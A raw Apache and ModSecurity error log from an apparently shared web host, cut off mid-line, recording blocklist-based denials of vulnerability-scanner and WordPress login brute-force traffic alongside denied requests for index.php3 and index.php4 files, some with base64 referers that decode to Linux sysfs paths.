Access denied with code 409 (phase 1). RBL lookup of 108.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30obV-dFiaX9AtWiQpdAABMVI"] [Sat Jun 13 18:24:02.002790 2026] [security2:error] [pid 715691:tid 715785] [remote 220.181.108.168:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30obV-dFiaX9AtWiQpdQABPEo"] [Sat Jun 13 18:24:02.062698 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:24:02.063227 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:24:02.095063 2026] [security2:error] [pid 715691:tid 715712] [remote 17.246.23.58:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 58.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30orV-dFiaX9AtWiQpewABbgI"] [Sat Jun 13 18:24:02.115859 2026] [access_compat:error] [pid 715691:tid 715800] [remote 57.141.14.33:45079] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:02.116300 2026] [access_compat:error] [pid 715691:tid 715800] [remote 57.141.14.33:45079] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:02.228621 2026] [security2:error] [pid 715691:tid 715786] [remote 17.22.245.215:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 215.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30orV-dFiaX9AtWiQpgwABJks"] [Sat Jun 13 18:24:02.313758 2026] [access_compat:error] [pid 646876:tid 646994] [remote 57.141.14.110:24002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:02.314172 2026] [access_compat:error] [pid 646876:tid 646994] [remote 57.141.14.110:24002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:02.355381 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.14:39794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:02.355843 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.14:39794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:02.428795 2026] [security2:error] [pid 715691:tid 715783] [remote 17.241.227.228:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 228.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30orV-dFiaX9AtWiQpigABcUg"] [Sat Jun 13 18:24:02.636291 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.3:26392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:02.636736 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.3:26392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:02.665573 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:24:02.665916 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:24:02.681863 2026] [access_compat:error] [pid 646876:tid 646883] [remote 57.141.14.38:44853] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:02.682144 2026] [access_compat:error] [pid 646876:tid 646883] [remote 57.141.14.38:44853] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:03.042074 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.18:49998] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:03.042493 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.18:49998] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:03.042559 2026] [security2:error] [pid 646876:tid 646891] [remote 17.241.75.20:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30o9yTkdrNlD40tSHWYQAALww"] [Sat Jun 13 18:24:03.104579 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9kZXZpY2U6MTk= [Sat Jun 13 18:24:03.104937 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9kZXZpY2U6MTk= [Sat Jun 13 18:24:03.487403 2026] [access_compat:error] [pid 715691:tid 715736] [remote 57.141.14.97:32708] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:03.487691 2026] [access_compat:error] [pid 715691:tid 715736] [remote 57.141.14.97:32708] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:03.607579 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:24:03.607927 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:24:03.665353 2026] [security2:error] [pid 715691:tid 715788] [remote 209.87.149.26:24671] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai30o7V-dFiaX9AtWiQpoQABMk0"] [Sat Jun 13 18:24:03.765087 2026] [access_compat:error] [pid 646876:tid 646969] [remote 57.141.14.24:38654] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:03.765350 2026] [access_compat:error] [pid 646876:tid 646969] [remote 57.141.14.24:38654] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:03.976687 2026] [security2:error] [pid 715691:tid 715834] [remote 17.246.15.20:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30o7V-dFiaX9AtWiQprQABZXs"] [Sat Jun 13 18:24:04.015441 2026] [access_compat:error] [pid 715691:tid 715810] [remote 57.141.14.109:56930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:04.015840 2026] [access_compat:error] [pid 715691:tid 715810] [remote 57.141.14.109:56930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:04.132243 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:24:04.132514 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:24:04.174245 2026] [security2:error] [pid 715691:tid 715734] [remote 17.246.19.136:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 136.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30pLV-dFiaX9AtWiQptQABVhg"] [Sat Jun 13 18:24:04.193907 2026] [security2:error] [pid 715691:tid 715743] [remote 209.87.149.26:24671] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai30pLV-dFiaX9AtWiQptwABRSE"], referer: https://djstardao.com/wp-login.php [Sat Jun 13 18:24:04.627260 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0 [Sat Jun 13 18:24:04.627755 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0 [Sat Jun 13 18:24:04.811222 2026] [security2:error] [pid 646876:tid 646986] [remote 220.181.108.168:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30pNyTkdrNlD40tSHWiQAAPWs"] [Sat Jun 13 18:24:04.890334 2026] [security2:error] [pid 715691:tid 715713] [remote 220.181.108.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30pLV-dFiaX9AtWiQp0QABRgM"] [Sat Jun 13 18:24:05.066782 2026] [security2:error] [pid 715691:tid 715759] [remote 162.254.36.150:47390] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "esvarbon.gov.ng"] [uri "/wp-login.php"] [unique_id "ai30pbV-dFiaX9AtWiQp2wABDzA"] [Sat Jun 13 18:24:05.150511 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:24:05.150999 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:24:05.170423 2026] [security2:error] [pid 715691:tid 715936] [client 210.217.96.217:55359] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30pbV-dFiaX9AtWiQp5gAAAWk"] [Sat Jun 13 18:24:05.170578 2026] [security2:error] [pid 715691:tid 715936] [client 210.217.96.217:55359] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30pbV-dFiaX9AtWiQp5gAAAWk"] [Sat Jun 13 18:24:05.259042 2026] [security2:error] [pid 715691:tid 715755] [remote 17.246.15.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30pbV-dFiaX9AtWiQp7QABJC0"] [Sat Jun 13 18:24:05.286139 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.60:28442] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:05.286570 2026] [access_compat:error] [pid 